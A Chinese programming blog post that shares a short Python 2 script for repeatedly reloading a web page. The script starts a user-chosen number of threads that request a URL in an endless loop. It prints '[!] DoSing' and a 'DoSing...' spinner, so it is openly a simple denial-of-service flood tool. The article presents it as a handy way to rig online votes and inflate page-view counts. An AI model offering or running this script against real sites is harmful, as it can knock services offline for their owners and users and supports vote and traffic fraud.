网络编程
位置:首页>> 网络编程>> Python编程>> python使用多线程不断刷新网页的方法

python使用多线程不断刷新网页的方法

作者:songguo  发布时间:2022-10-03 09:19:26 

标签:python,多线程,刷新

本文实例讲述了python使用多线程不断刷新网页的方法。分享给大家供大家参考。具体如下:

这段代码可以开通过个线程不断刷新指定的页面,可用于刷票,增加网页访问量等等,不用再去按F5了


import thread
import urllib2
import sys
import time
def usage():
 print 'Usage: python ' + sys.argv[0] + ' <url> <threads>'
 sys.exit()
def reloader(numthread):
 url = sys.argv[1]
 numreloads = 0
 while True:
   try:
     urllib2.urlopen(url)
     numreloads = numreloads + 1
   except KeyboardInterrupt:
     sys.exit('\nProcess aborted.')
def splash():
 print 'welcome to https://www.jb51.net/codes '
if len(sys.argv) < 3:
 usage()
if __name__ == '__main__':
 splash()
 print '[!] DoSing ' + sys.argv[1] + ' with ' + sys.argv[2] + ' threads.'
 for reloadspawn in range(0, int(sys.argv[2])):
   thread.start_new_thread(reloader, (reloadspawn,))
 sys.stdout.write('')
 dosind = ['-', '\\', '|', '/']
 dosstat = 0
 while True:
   try:
     sys.stdout.write('\r' + dosind[dosstat % 4] + ' DoSing...')
     sys.stdout.flush()
     dosstat = dosstat + 1
     time.sleep(0.25)
   except KeyboardInterrupt:
     sys.exit('\nProcess aborted.')

希望本文所述对大家的Python程序设计有所帮助。

0
投稿

猜你喜欢

手机版 网络编程 asp之家 www.aspxhome.com